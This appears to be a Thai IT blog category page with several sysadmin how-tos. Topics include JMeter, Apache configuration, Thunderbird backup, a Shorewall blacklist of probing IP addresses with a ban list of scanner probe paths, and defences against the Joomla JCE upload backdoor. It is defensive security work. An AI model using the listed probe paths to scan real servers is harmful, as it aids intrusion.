Category: Open Source Software & Freeware

  • การติดตั้งโปรแกรมตรวจสอบประสิทธิภาพ Server : Apache Jmeter บนเครื่อง Windows

    โปรแกรม Jmeter เป็นโปรแกรมสารพัดประโยชน์ใช้สำหรับทดสอบประสิทธิภาพการรองรับโหลดจำนวนมาก โดยในเบื้องต้นผมยังจะไม่อธิบายรายละเอียดโปรแกรมมากนะครับ จะนำเสนอแค่วิธีติดตั้ง และการ Test ในส่วนที่เป็น Web Server แบบไม่มี Script อะไรพิเศษเป็นหลัก แล้ววันหลังค่อยมาเปล่าในส่วนอื่น ๆ เช่นการ Test Load Database, LDAP, FTP, WebService ฯลฯ ถ้ามีโอกาสครับ

    ความต้องการพื้นฐานสำหรับโปรแกรม Jmeter
    1. Java 6 ขึ้นไป
    2. OS ซึ่งรองรับทั้ง Unix, Windows

    วิธีการติดตั้งบน Windows 
    Test OS : Windows 8.1
    1. ติดตั้ง JAVA สามารถทำการ Download และติดตั้งได้จาก

    http://www.java.com/en/download/index.jsp
    

    2. ดาวน์โหลดโปรแกรม Jmeter ได้จาก

    http://jmeter.apache.org/download_jmeter.cgi
    

    3. Save file .zip ดังรูป
    2014-05-22_202646

    4. ทำการแตกไฟล์ออกมา และทำการรันไฟล์ ApacheMeter.jar ดังรูป (จะปรากฎเป็น icon java สามารถ double click รันได้เลย)
    2014-05-22_203814

    ตัวอย่างการสร้าง Test Plan เพื่อทดสอบ Web Server

    1. ทำการสร้าง Thread Group ภายใต้ Test Plan ดังรูป
    2014-05-22_204434

    2. หลังจากนั้นจะปรากฎหน้าต่างให้ตั้งค่าได้ดังนี้
    2014-05-22_205548

    Number of Threads (users) : จำนวนผู้ใช้งานที่ต้องการ ณ เวลานั้น ๆ (concurrent users)
    Ramp-up Period (in seconds) : เวลาหน่วงในการเพิ่มผู้ใช้งานจนถึงจำนวน Number of Threads ที่ตั้งไว้ เช่น Number of Threads = 300, Ramp-up Period = 60 แสดงว่า ภายใน 60 วินาทีจะมี จำนวนผู้ใช้เข้าสู่ระบบรวม 300 คน (ค่อย ๆ เพิ่มเข้าไปจนครบ 300 ใน 60 วินาที)
    Loop Count : คือจำนวนรอบที่ทำ ถ้าติด Forever ก็แสดงว่าทำตลอดไป

    *หมายเหตุ ระวังอย่างตั้งค่าเว่อร์จนเกินไป เครื่องผู้ที่สั่ง Test อาจจะทำงานไม่ไหว Hang ได้

    3. จากนั้นทำการสร้าง Sampler ที่เป็น HTTP Request เพื่อกำหนดค่า config เบื้องต้นที่จำเป็นในการทดสอบ ดังรูป
    2014-05-22_212211

    4. จะปรากฎให้ตั้งค่า หลัก ๆ ถ้าต้องการยิงทดสอบธรรมดา ๆ ให้ใส่เฉพาะ Server Name หรือ IP และ Path เช่น /regist.php ถ้าต้องการยิงหน้าแรกก็ใส่ / เฉย ๆ ดังรูป

    2014-05-22_212413

    5. หลังจากนั้นทำการเพิ่มในส่วนของรายงานผล โดยแนะนำ 2 ตัวคือ View Results Tree และ Graph Results
    2014-05-22_210512

    6. ตัวอย่างผลลัพธ์จาก Results Tree (วิธีการรัน Test ให้กดที่ปุ่ม Play สีเขียว และปุ่ม Stop สีแดงเพื่อหยุด)2014-05-22_212755

    7. ตัวอย่างผลลัพธ์ในรูปแบบ Graph Results2014-05-22_213206

    Reference :
    [1] http://www.narisa.com/forums/index.php?app=blog&blogid=9&showentry=3019
    [2] http://www.narisa.com/forums/index.php?app=blog&blogid=9&showentry=2873

  • วิธีแก้ไขปัญหาเครื่อง Laptop ไม่สามารถปรับควบคุมแสงสว่าง Brightness Control ใน Ubuntu 14.04

    วิธีแก้ไขปัญหาเครื่อง Laptop ไม่สามารถปรับควบคุมแสงสว่าง Brightness Control ใน Ubuntu 14.04

    ปัญหานี้เกิดกับ Laptop ที่มีการ์ดแสดงผลของยี่ห้อ [Intel Graphics] ซึ่งจะไม่สามารถปรับควบคุมความเข้มความสว่างของจอภาพเพื่อปรับลด/เพิ่ม แสงได้ตามปกติ
    Desktop_Ubuntu

    – ให้ลองใช้คำสั่งตรวจสอบ video/graphic card ของท่านดูก่อนว่าเป็นผลิตภัณฑ์ยี่ห้อใด
    ls /sys/class/back light/
    list graphic card

    ถ้าปรากฎว่าแฟ้มข้อมูลที่แสดงออกมามีแฟ้มชื่อ intel_backlight อาจจะเกิดปัญหากับการปรับลด/เพิ่ม แสงของหน้าจอ ให้แก้ไขดังนี้

    touch /usr/share/X11/xorg.conf.d/20-intel.conf
    touch 20-intel.conf

    sudo vi /usr/share/X11/xorg.conf.d/20-intel.conf
    Selection_005
    จากนั้นพิมพ์ข้อมูลดังนี้

    Section "Device"
            Identifier  "card0"
            Driver      "intel"
            Option      "Backlight"  "intel_backlight"
            BusID       "PCI:0:2:0"
    
    EndSection

    หลังจากพิมพ์ข้อความเสร็จให้ทำการบันทึกแฟ้มดังกล่าว จากนั้นให้ลองล็อกเอาท์ logout หรือทำการ restart เครื่องใหม่ และลองใช้ฟังค์ชั่นคียร์ปรับลด/เพิ่ม แสงของจอภาพ
    เป็นอันเสร็จเรียบร้อย… ^_^

  • วิธีตั้งค่า Apache web server 2.4.x แตกต่างจาก 2.2.x

    asf_logo_wide
    เก็บตกจากวันวานเปิดอบรม Workshop Linux System Administration II (WS-LSA2) ที่ศูนย์คอมฯ 2 วัน ผมเตรียมเอกสาร workshop วิธีตั้งค่าหลายๆเรื่องบน ubuntu 12.04 แต่พอดีกับที่ ubuntu 14.04 ออกมาแล้ว จึงนำ ubuntu 14.04 มาให้ผู้เรียนใช้ติดตั้ง มันก็ไม่มีอะไรแตกต่างไปจาก ubuntu 12.04 ตั้งแต่เริ่มต้น installation จนกระทั่งมาถึงเรื่องที่เราจะตั้งค่าเกี่ยวกับ Apache web server ซึ่งทำให้ต้องแก้ไขเอกสารประกอบการสอนกันสดๆตอนนั้นเลย (ฮา)

    เพราะว่า Apache Web Server ที่อยู่ในแผ่น ubuntu 14.04 นั้นเป็นเวอร์ชั่น 2.4.7 ซึ่งมี Default Document Root อยู่ที่ /var/www/html ต่างจาก Apache Web Server เวอร์ชั่นก่อนหน้านี้ (2.2.x) ที่มี Default Document Root อยู่ที่ /var/www เป็นต้น

    พอจะสรุปได้ดังนี้

    Apache Web Server 2.2.x ทำแบบนี้
    1.พื้นที่ default ของ Apache Web Server คือไดเรกทอรี /var/www
    หากจะติดตั้ง Joomla CMS เราจะเตรียมพื้นที่สำหรับติดตั้ง joomla ไว้ที่ไดเรกทอรี /var/www/testjoomla ด้วยคำสั่ง sudo mkdir -p /var/www/testjoomla

    2.website config file จะอยู่ที่ไดเรกทอรี /etc/apache2/sites-available
    จะมีไฟล์ชื่อ default และ default-ssl มาให้
    และหากจะสร้าง VirtualHost pma.example.com เราก็สร้าง config file ที่มีชื่อไฟล์อย่างไรก็ได้ เช่น /etc/apache2/sites-available/pma หลังจากนั้นเราก็ enable VirtualHost นี้ จาก config ที่เราสร้างขึ้นใหม่ โดยการใช้คำสั่ง sudo a2ensite pma แล้วก็สั่ง restart apache

    3.เมื่อเข้าไปดูในไฟล์ default
    DocumentRoot จะอยู่ที่ /var/www

    4.Apache2 config file จะอยู่ที่ /etc/apache2/conf.d
    สมมติว่าต้องการเพิ่มการป้องกัน joomla web server ด้วย config file ชื่อ jce จะต้องทำดังนี้
    สร้างไฟล์ที่จะมีชื่ออย่างไรก็ได้ เช่น /etc/apache2/conf.d/jce แค่นี้ก็ได้แล้ว แล้วก็สั่ง restart apache และเมื่อจะไม่ใช้ config file jce นี้แล้ว ก็แค่ลบไฟล์นี้ทิ้ง

    แต่สำหรับ Apache Web Server 2.4.x วิธีการจะแตกต่างไป ดังนี้
    1.พื้นที่ default ของ Apache Web Server คือไดเรกทอรี /var/www/html
    หากจะติดตั้ง Joomla CMS เราจะต้องเตรียมพื้นที่สำหรับติดตั้ง joomla ไว้ที่ไดเรกทอรี /var/www/html/testjoomla ด้วยคำสั่ง sudo mkdir -p /var/www/html/testjoomla

    2.website config file จะอยู่ที่ไดเรกทอรี /etc/apache2/sites-available
    จะมีไฟล์ชื่อ 000-default และ default-ssl มาให้ (ต่างจาก 2.2.x)
    และหากจะสร้าง VirtualHost pma.example.com เราก็ต้องสร้าง config file ที่มี .conf ต่อท้ายชื่อไฟล์ด้วย เช่น /etc/apache2/sites-available/pma.conf
    หลังจากนั้นเราก็ enable VirtualHost นี้ จาก config ที่เราสร้างขึ้นใหม่ โดยการใช้คำสั่ง
    sudo a2ensite pma แล้วจึงจะสั่ง restart apache สำเร็จ

    3.เมื่อเข้าไปดูในไฟล์ default
    DocumentRoot จะอยู่ที่ /var/www/html

    4.Apache2 config file จะอยู่ที่ไดเรกทอรี /etc/apache2/conf-available และต้องสั่ง enable config file ที่ต้องการใช้งานก่อนจึงจะใช้งานได้ แล้วจะเกิดไฟล์ขึ้นอยู่ที่ไดเรกทอรี /etc/apache2/conf-enabled
    สมมติว่าต้องการเพิ่มการป้องกัน joomla web server ด้วย config file ชื่อ jce จะต้องทำดังนี้ เราต้องตั้งชื่อให้มี .conf ต่อท้ายด้วยคือ /etc/apache2/conf-available/jce.conf
    และใช้คำสั่งเพื่อ enable config file ดังนี้ sudo a2enconf jce แล้วก็สั่ง restart apache จึงจะสำเร็จ และเมื่อจะไม่ใช้ config file นั้น ก็จะต้องสั่งดังนี้ sudo a2disconf jce แล้วก็สั่ง restart apache จึงจะสำเร็จ

    ก็หวังว่าบทความนี้จะเป็น guide ให้แอดมินคิดออกว่า “เอ๊ะ! ทำไมเราตั้งค่าไม่ได้ทั้งๆที่เคยทำได้และทำอยู่บ่อยๆด้วย”

    ขอบคุณครับ

  • แนะนำโปรแกรมตกแต่งภาพสไตร์ Vintage ฟรี

    น่าจัดอยู่ในโปรแกรมประเภท Freeware นะครับ ไว้สำหรับตกแต่งรูปสไตร์ Vintage สวยๆแบบง่ายๆ เรียกว่า แทบไม่ต้องเรียนรู้การใช้งาน แค่กดเลือกรูปแบบเอาเลย ว่าชอบแบบไหน

    XnRetro

     

    นอกจากการตกแต่งแนวสไตร์ภาพแล้วยังสามารถเลือกกรอบภาพ ใส่เสริมแสงพวกโบเก้หรือหิมะตกเสริมเข้าไปในภาพก็ได้ เรียกว่าแต่งภาพกันได้สนุกไปเลย วิธีการใช้คงไม่ต้องแนะนำ เพราะง่ายมาก ใครสนใจก็ไปหาโหลดกันได้ที่

    http://www.xnview.com/en/xnretro/

    อ้อ สำหรับบนมือถือ มี App Free ไว้แต่งภาพบนมือถือด้วยนะครับใช้ชื่อโปรแกรมเดียวกันเลย แต่อาจจะไม่มีพวก Effect บางตวที่สงวนไว้สำหรับเวอร์ชั่นเสียเงินซื้อบ้าง แต่เท่าที่ให้ใช้ฟรีผมว่าใช้ได้เยอะแยะแล้วครับ

  • Shorewall Blacklist

    • ใช้ได้กับ Shorewall 4.4.12 ขึ้นมา
    • แก้แฟ้ม /etc/shorewall/interfaces โดยเพิ่มความว่า blacklist ต่อท้ายของเดิม เป็น

    net eth0 detect tcpflags,logmartians,nosmurfs,blacklist

    • เพิ่มลิสต์ที่ต้องการบล็อคลงไปในแฟ้ม /etc/shorewall/blacklist
    • ตัวอย่างค้นหาเครื่องที่ต้องการบล็อคการเข้าถึงพอร์ต 80 และ 443

    grep -R phpmyadmin/scripts/setup.php /var/log/apache2|cut -d: -f2|awk '{ print $1 }'|sort -t'.' -n -k1,1 -k2,2 -k3,3 -k4,4|uniq

    • จากตัวอย่างในเครื่องเราไม่มี phpmyadmin แต่มีคนพยายามเข้าถึงตัวติดตั้ง phpmyadmin ฉะนั้นบล็อค IP พวกนี้ไว้ก่อน (บล็อคถาวรกรั่กๆ…)
    • เอา IP จากข้อที่แล้วมาใส่ในแฟ้ม /etc/shorewall/blacklist รูปแบบ

    #ADDRESS/SUBNET PROTOCOL PORT

    • เช่น

    93.115.210.90 tcp 80,443
    93.174.93.153 tcp 80,443
    94.23.58.185 tcp 80,443
    94.102.51.155 tcp 80,443
    103.247.21.60 tcp 80,443
    107.6.88.155 tcp 80,443
    109.163.232.218 tcp 80,443
    110.170.34.220 tcp 80,443
    111.90.168.5 tcp 80,443
    115.84.101.78 tcp 80,443
    115.238.101.45 tcp 80,443
    115.239.253.11 tcp 80,443
    116.93.105.112 tcp 80,443
    117.35.96.146 tcp 80,443
    118.140.120.26 tcp 80,443
    119.52.254.20 tcp 80,443
    119.57.51.154 tcp 80,443
    122.49.0.220 tcp 80,443
    123.125.148.79 tcp 80,443
    125.210.204.242 tcp 80,443

    • restart shorewall

    sudo shorewall restart

    • IP ที่ถูกแบล็คลิสต์ อาจหายไปจากสารบบ ทำให้ shorewall start ไม่ขึ้น ต้องลบไอพีดังกล่าวออกไปก่อนจึงจะ start ได้

    Compiling /etc/shorewall/blacklist...
    ERROR: Unknown Host (93.x4.93.153) : /etc/shorewall/blacklist (line 23)

    • จบ… ขอให้สนุกครับ

    ที่มา http://shorewall.net/manpages/shorewall-blacklist.html

    • คีย์เวิร์ดสำหรับแบน
    • /CFIDE/administrator/enter.cfm
    • /MyAdmin/scripts/setup.php
    • /myadmin/scripts/setup.php
    • /phpMyAdmin/scripts/setup.php
    • /pma/scripts/setup.php
    • /w00tw00t.at.blackhats.romanian.anti-sec:)
    • เป็นต้น
  • วิธี Backup PSU Email ด้วย Thunderbird

    เนื่องจาก PSU Email ให้พื้นที่ปัจจุบัน 1GB ซึ่ง อาจจะไม่เพียงพอต่อความต้องการของผู้ใช้บางท่าน หรือ บางท่านต้องการสำรองข้อมูล Email เก็บไว้ในเครื่องคอมพิวเตอร์

     ซึ่งสามารถทำได้ โดยใช้งานผ่านโปรแกรม Mozilla Thunderbird เชื่อมต่อกับ PSU Email ด้วย IMAP อีกทั้ง สามารถส่ง Email ออกได้จากทั่วโลกผ่าน smtp2.psu.ac.th และ ตัวอย่างต่อไปนี้ จะสร้างพื้นที่จัดเก็บบนเครื่องคอมพิวเตอร์ ไว้ใน D:\MyBackup

    (รายละเอียดของ PSU Email สามารถอ่านได้ที่ http://www.cc.psu.ac.th/staffemail)

    มีวิธีการดังนี้

    1. Download Mozilla Thunderbird (รุ่นล่าสุด 24.3.0) จาก http://www.mozilla.org/en-US/thunderbird/

     

    คลิกที่ Thunderbird Free Download แล้ว Save File ลงเครื่อง

    2. Double Click ไฟล์ ที่ Download มา (Thunderbird Setup 24.3.0.exe)

    3. จากนั้น ใช้ Next Technology คือ Yes, Next, Next, Install และ Finish

    4. จากหน้านี้ คลิก Set as Default

     5. คลิก Skip this and use my existing email

    6. กรอกข้อมูล ให้ครบ แล้ว คลิก Continue แล้ว คลิก Manual Config

    7. กรอกข้อมูลตามนี้ แล้ว คลิก ปุ่ม Advanced Config

    8. คลิกที่ Local Folder, คลิก Browse แล้ว เลือก D:\MyBackup (แล้วแต่จะสร้าง Folder)

    9. หน้าต่างนี้ คลิก Restart

    10. ด้านขวามือ คลิกขวา ที่ Local Folders แล้ว คลิก New Folder ….

     

    11. ตั้งชื่อ PSUEmail แล้วคลิก Create Folder

     12. เมื่อต้องการ เก็บสำเนา (Copy) หรือ ย้าย (Move) จดหมายจาก INBOX ของ PSU Email มาเก็บไว้ใน Local Folders บนเครื่องคอมพิวเตอร์ของเท่าน ก็ให้ทำการเลือกจดหมายที่ต้องการ แล้ว คลิกขวา (Right Click) แล้ว เลือก Copy To หรือ Move To ไปยัง Local Folder > PSUEmail

    เท่านี้ ก็ สามารถ เก็บจดหมายที่ต้องการไว้ในเครื่องได้แล้ว และสามารถทำการ สำรอง D:\MyBackup เอาไว้ใน Handy Drive, DVD หรือ External Hard disk ได้

    13. เมื่อต้องการนำมาใช้งาน ก็เพียงแค่ Copy ลงไปในเครื่อง แล้ว ทำตามขั้นตอน ข้อ 8 และ 9 ก็จะสามารถใช้งาน Email ที่เก็บไว้ได้ ดังตัวอย่างนี้

    14. สำหรับ การใช้งาน ThunderBird ให้สามารถใช้ภาษาไทยได้อย่างถูกต้อง และเป็นสากล ต้องตั้งค่าให้ ภาษาไทยใช้ Character Encoding เป็น UTF-8 โดยคลิกที่ Menu > Options แล้ว คลิกที่ Display > Advanced แล้ว เปลี่ยน Font for เป็น Thai และ ตั้งค่า Outgoing mail, Incoming Mail เป็น UTF-8 ตามภาพ แล้วคลิก OK

    หวังว่าจะเป็นประโยชน์ครับ

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #12

    บทความนี้ จะกล่าวถึง วิธีการปิดช่องโหว่ของ Apache ที่ให้บริการ Web Hosting เลย เผื่อมีผู้ใช้ ติดตั้ง Joomla และมี JCE รุ่นที่มีช่องโหว่ จะได้ไม่สร้างปัญหา และ แนะนำวิธีสำหรับผู้พัฒนาเวปไซต์เองด้วย ที่เปิดให้มีการ Upload ไฟล์โดยผู้ใช้ผ่านทาง Web ด้วย … เพราะหน้าที่นี้ ควรเป็นของ Web Server Administrator ไม่ใช่ของ Web Master หรือ Web Author ครับ

    จากปัญหาช่องโหว่ของ JCE Exploited ของ Joomla ที่อธิบายไว้ใน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3 ที่อธิบายขั้นตอนการเจาะช่องโหว่, วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4 ซึ่งเป็นวิธีการตรวจสอบค้นหา และทำลาย Backdoor และ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #11  วิธีการ Incremental Backup ซึ่งสามารถช่วยกู้ไฟล์ได้และรู้ว่า มีไฟล์แปลกปลอมอะไรเกิดบ้าง ซึ่งเป็นการแก้ปัญหาปลายเหตุทั้งสิ้น

    ส่วน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #5 กล่าวถึงการตรวจสอบว่า Software ที่ใช้งานอยู่มีช่องโหว่อะไรบ้าง ด้วยการตรวจสอบ CVE เป็นต้น

    สำหรับ JCE Exploited จะพบว่า การวางไฟล์ Backdoor จะเริ่มวางไว้ที่ไดเรคทอรี่ images/stories ที่ แกล้งเป็นไฟล์ .gif แล้วเอาโค๊ด PHP เข้ามาใส่ แล้วเปลี่ยนนามสกุลเป็น .php ภายหลัง ดังนั้น หาก Apache Web Server สามารถ ปิดกั้นตั้งแต่จุดนี้ได้ กล่าวคือ ต่อให้เอาไฟล์มาวางได้ แต่สั่งให้ทำงานไม่ได้ ก็น่าจะปลอดภัย และ หากพัฒนาเวปไซต์เอง หรือ ผู้ใช้ของระบบต้องการให้ Upload ไฟล์ไว้ในไดเรคทอรี่ใดได้ ก็ต้องแจ้งให้ Web Server Administrator รับทราบ และเพิ่มเติมให้ น่าจะทำให้ปลอดภัยมากขึ้นได้

    สมมุติฐานคือ

    1. ติดตั้ง OS และ Apache Web Server ใหม่

    2. ติดตั้ง Joomla ใหม่ หรือ เอา Web Application ที่ปลอดช่องโหว่อื่นๆ/Backdoor มาลง
      โดย Joomla ที่มีที่วางไฟล์ภาพไว้ที่ images/stories ส่วน Web Application อื่นๆ ขอสมมุติว่าตั้งชื่อไดเรคทอรี่ว่า uploads

    สำหรับ Apache2 บน Ubuntu Apache 2.2 นั้น มีโครงสร้างไดเรคทอรี่ดังนี้

    /etc/apache2/
    |-- apache2.conf
    |       `--  ports.conf
    |-- mods-enabled
    |       |-- *.load
    |       `-- *.conf
    |-- conf.d
    |       `-- *
    |-- sites-enabled
            `-- *

    เมื่อ Apache เริ่ม (Start) ก็จะไปอ่าน /etc/apache2/apache2.conf ในนั้น จะกำหนดภาพรวมของระบบ ได้แก่ ใครเป็นคน Start (APACHE_RUN_USER/APACHE_RUN_GROUP), การกำหนดชื่อไฟล์ .htaccess ที่เปิดให้ผู้ใช้ปรับแต่ง Apache ที่แต่ละไดเรคทอรี่ของตนได้, กำหนดว่า จะเรียกใช้ Module อะไรบ้าง โดยการ Include *.load, *.conf  จาก mods-enabled, กำหนดว่า จะเปิดให้มี Virtual Host อะไรบ้างโดยการ Include ไฟล์จาก sites-enabled และ ที่สำคัญ ผู้ดูแลระบบสามารถแยกไฟล์ config ออกเป็นส่วนย่อยๆเป็นไฟล์ โดยการ Include จาก conf.d

    ต่อไป สร้างไฟล์ /etc/apache2/conf.d/jce มีเนื้อหาดังนี้

    <DirectoryMatch ".*/images/stories/.*">
    <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

     และในทำนองเดียวกัน สร้างไฟล์ /etc/apache2/conf.d/uploads มีเนื้อหาดังนี้

    <DirectoryMatch ".*/uploads/.*">
    <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

    ก่อนจะ Restart/Reload Apache ทดสอบสร้างไฟล์ใน

    /var/www/joomla15/images/stories/0day.php
    /var/www/mywebapp/uploads/hack.php

    เมื่อเรียก URL
    http://localhost/joomla15/images/stories/0day.php

    http://localhost/mywebapp/uploads/hack.php

     ผลที่ได้คือ Backdoor หน้าตาประมาณนี้

    แต่พอใช้ Reload Apache ด้วยคำสั่ง

     sudo /etc/init.d/apache2 reload

     แล้วเรียก URL

     http://localhost/joomla15/images/stories/0day.php

     จะได้ผลดังนี้

    เป็นอันว่า แม้ Hacker จะสามารถเอาไฟล์ 0day.php ไปวางใน images/stories ได้ แต่ก็จะไม่สามารถทำงานได้ (อย่างน้อย ก็เรียกใช้ไม่ได้ แต่ผู้ดูแลต้องค้นหาและทำลายเป็นประจำ)

     อธิบายเพิ่มเติมเกี่ยวกับ Apache Configuration เล็กน้อย, การเขียนนั้น ประกอบด้วยสิ่งที่เรียกว่า Directive โดยแบ่งออกเป็น Container และ Directive ทั่วไป

    1. Container Directive: เป็นตัวบอกขอบเขต แบ่งออกเป็น

    1.1 FileSystem: ได้แก่

    1.1.1 <Directory directory-path> … </Directory>
    ตั้งค่ากับเฉพาะ ขอบเขตของ Directory ซึ่ง directory-path จะต้องเขียนตามให้เต็ม Path เช่น
    <Direcotory /var/www>
    ….
    </Directory>

    1.1.2 <DirectoryMatch regexp> … </DirectoryMatch>
    ตั้งค่ากับเฉพาะ ขอบเขตของ Directory ซึ่งสอดคล้องกับ regexp ที่กำหนด เช่น
    <DirecotoryMatch “.*/images/stories/.*”>
    ….
    </DirectoryMatch>

    1.1.3 <Files filename> … </Files>
    ตั้งค่ากับเฉพาะ ชื่อไฟล์ที่ตรงกับ filename ที่กำหนด เช่่น
    <Files “somefile.html”>

    </Files>

    1.1.4 <FilesMatch regexp> … </FilesMatch>
    ตั้งค่ากับเฉพาะ ชื่อไฟล์ที่สอดคล้องกับ regexp ที่กำหนด เช่่น
    <FilesMatch “.*\.php$”>

    </FilesMatch>

    1.2 WebSpace: ได้แก่

    1.2.1 <Location URL-Path> … </Location>
    ตั้งค่ากับเฉพาะ URL ที่ตรงกับ URL-Path เช่น
    <Location /private>

    </Location>
    1.2.2 <LocationMatch regexp> … </LocalMatch>
    ตั้งค่ากับเฉพาะ URL ที่สอดคล้องกับ regexp เช่น
    <LocationMatch “/(extra|special)/data”>

    </LocationMatch>

    2. Other Directive
    ซึ่งมีอยู่มากมาย กรุณาอ่านเพิ่มเติมจาก http://httpd.apache.org/docs/2.2/mod/core.html แต่ในที่นี้ จะขอยกตัวอย่างที่สำคัญ และจำเป็นต้องใช้ ตามตัวอย่างข้างต้น คือ

    Order ordering : อยู่ใน Module mod_access_compat, ค่า ordering ที่สามารถกำหนดได้คือ

    Allow, Deny ซึ่งจะพิจารณาการอนุญาตก่อนปฏิเสธ และ Deny, Allow จะปฏิเสะก่อนแล้วพิจารณาอนุญาต ให้เข้าถึงไฟล์ หรือ ไดเรคทอรี่ต่างๆ

    Deny all|host : อยู่ใน Module mod_access_compat, ค่า all หมายถึง ปฏิเสธทุกการเชื่อมต่อจากทุกๆที่, host สามารถเป็น IP Address หรือ URL ก็ได้

    Allow all|host : อยู่ใน Module mod_access_compat, ค่า all หมายถึง ยอมรับทุกการเชื่อมต่อจากทุกๆที่, host สามารถเป็น IP Address หรือ URL ก็ได้

    ดังนั้น ไฟล์ /etc/apache2/conf.d/jce ซึ่งมีเนื้อหาว่า

    <DirectoryMatch ".*/images/stories/.*>
     <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

    หมายถึง ถ้ามีการเรียก ไฟล์ที่อยู่ใน directory อะไรก็ตามที่มีส่วนหนึ่งของ Path เป็น images/stories ก็จะ ไปดูว่า ชื่อไฟล์ที่เรียกนั้น มีนามสกุลเป็น .php หรือไม่ (.* แปลว่า ตัวอักษรอะไรก็ได้, \. หมายถึงจุด “.” ที่ใช้เชื่อม filename และ extenstion และ $ หมายถึง สิ้นสุดข้อความ) ถ้าเป็นการเรียกไฟล์ .php ใน images/stories ก็จะ ปฏิเสธเสมอ (Deny from ALL)

    แล้ว ทำไมไม่ใช่ .htaccess ?

    จาก Apache Security Tips ไม่แนะนำให้ใช้ .htaccess เพราะปัญหาด้าน Performance เพราะทุกครั้งที่จะเข้าถึงไฟล์ จะต้องพิจารณา .htaccess ทุกครั้ง ในเวปไซต์ที่มีการใช้งานมาก อาจจะทำให้ความเร็วช้าลงได้ อีกประการหนึ่ง .htaccess นั้นอยู่ในไดเรคทอรี่ที่ผู้ใช้สามารถกำหนดสิทธิ์ (Permission) เองได้ หากพลาดกำหนดให้ Web User สามารถเขียนได้ อาจจะทำให้ Hacker เลี่ยงข้อกำหนดต่างๆได้ หาก ที่ Apache Main Configuration ประกาศ AllowOverride เป็น ALL

    ขอให้โชคดี

    Reference

    [1] “Apache HTTP Server Version 2.2 Documentation – Apache HTTP …” 2005. 7 Jan. 2014 <http://httpd.apache.org/docs/2.2/> .

    [2] “Security Tips – Apache HTTP Server.” 2005. 7 Jan. 2014 <http://httpd.apache.org/docs/2.2/misc/security_tips.html>

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #11

    ตั้งแต่ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1 เป็นต้นมา เป็นการแสดงให้เห็นถึง ปัญหา, การตรวจสอบ, การค้นหา หลังจากเกิดปัญหาแล้วทั้งสิ้น ก็จะเห็นได้ว่า ยุ่งยาก และเป็นเรื่องยากมาก ที่จะค้นหา Backdoor ให้หมด และการจะกำจัดให้หมดนั้นเป็นภาระอย่างมาก

    ในบทความนี้ จะกล่าวถึง การสำรองข้อมูลไว้ พร้อมๆกับ สามารถตรวจสอบได้ว่า มี Backdoor ใดเกิดขึ้น, มีการแก้ไขไฟล์เพื่อวาง Backdoor ไว้บ้าง, มีการเปลี่ยนแปลงไฟล์ของระบบเป็น Backdoor บ้างหรือไม่ และยังสามารถ กู้ระบบกลับมาได้ แล้วจึงดำเนินการป้องกันไม่ให้เกิดขึ้นซ้ำอีกได้

    การสำรองข้อมูล หรือการ Backup มี 2 แบบ

    1. Full Backup: สำรองทุกไฟล์และไดเรกทอรี่
    2. Incremental Backup: สำรอง “เฉพาะ” ไฟล์และไดเรกทอรี่ ที่มีการเพิ่ม หรือเปลี่ยนแปลง เท่านั้น

    เครื่องมือในการ Backup มีหลายอย่าง ในบทความนี้ ขอใช้ tar เพราะสามารถใช้งานได้ง่าย
    โดยยกตัวอย่าง เป็นการ Backup /var/www/joomla15

    1. Full Backup ทำได้โดยการสร้างไฟล์ fullbackup.sh และมีข้อมูลดังนี้

    d=$(date "+%Y%m%d%H%M%S")
    cp /dev/null joomla15.snar
    tar -zcvf joomla15-full-$d.tar.gz -g joomla15.snar /var/www/joomla15

    2. Incremental Backup ทำได้โดยการสร้างไฟล์ incrementalbackup.sh และมีข้อมูลดังนี้

    d=$(date "+%Y%m%d%H%M%S")
    tar -zcvf joomla15-inc-$d.tar.gz -g joomla15.snar /var/www/joomla15

    โดยคำสั่ง tar มีคำสั่งเพิ่มเติม เล็กน้อย คือ -g ตามตัว joomla15.snar ซึ่ง จะเก็บสถานะของการ Backup ล่าสุดเอาไว้ ทำให้สามารถทราบได้ว่า มีต้อง Backup ไฟล์ใดบ้าง, ส่วน ชื่อไฟล์ .tar.gz ก็จะนำหน้าด้วย วันเวลานาที ของการทำ backup ไว้

    เมื่อทำคำสั่ง

    sh fullbackup.sh

    จะได้ไฟล์นี้

    joomla15-full-20140105004433.tar.gz

    ต่อมา สมมุติ มีการโจมตี Joomla ด้วยช่องโหว่ของ JCE แบบนี้

    jce01

    เมื่อใช้คำสั่ง

    find /var/www/ -name "*.php" -type f | grep 'images/stories'

    ได้ผลดังนี้

    /var/www/joomla15/images/stories/0day.php

    และ สมมุติ Hacker ใช้งาน Backdoor 0day.php ดังกล่าวทาง URL

    http://localhost/joomla15//images/stories/0day.php

    และ แก้ไขไฟล์

    /var/www/joomla15/CREDITS.php

    ดังนี้

    jce02

    สรุปคือ Hacker สามารถ สร้างและเปลี่ยนแปลงไฟล์

    /var/www/joomla15/images/stories/0day.php
    /var/www/joomla15/CREDITS.php

    เมื่อใช้คำสั่ง

    sh incrementalbackup.sh

    จะได้ไฟล์

    joomla15-inc-20140105021906.tar.gz

    วิธีตรวจสอบ ไฟล์ที่เพิ่มเข้ามา และมีการเปลี่ยนแปลง ใช้คำสั่ง diff โดยเอารายการของไฟล็ใน .tar.gz มาเปรียบเทียบกัน ด้วยคำสั่ง

    diff <(tar -ztvf joomla15-full-20140105004433.tar.gz) <(tar -ztvf joomla15-inc-20140105021906.tar.gz) |grep '>'

    ผลที่ได้คือ จะทราบว่ามีไฟล์ ต่อไปนี้ เพิ่ม/เปลี่ยนแปลง

    > -rw-r--r-- www-data/www-data 15571 2014-01-05 02:10 var/www/joomla15/CREDITS.php
    > -rw-r--r-- www-data/www-data 14315 2014-01-05 01:55 var/www/joomla15/images/stories/0day.php

    หาก ต้องการไฟล์ต้นฉบับของ CREDITS.php ก็ใช้คำสั่ง

    tar -zxvf joomla15-full-20140105004433.tar.gz var/www/joomla15/CREDITS.php

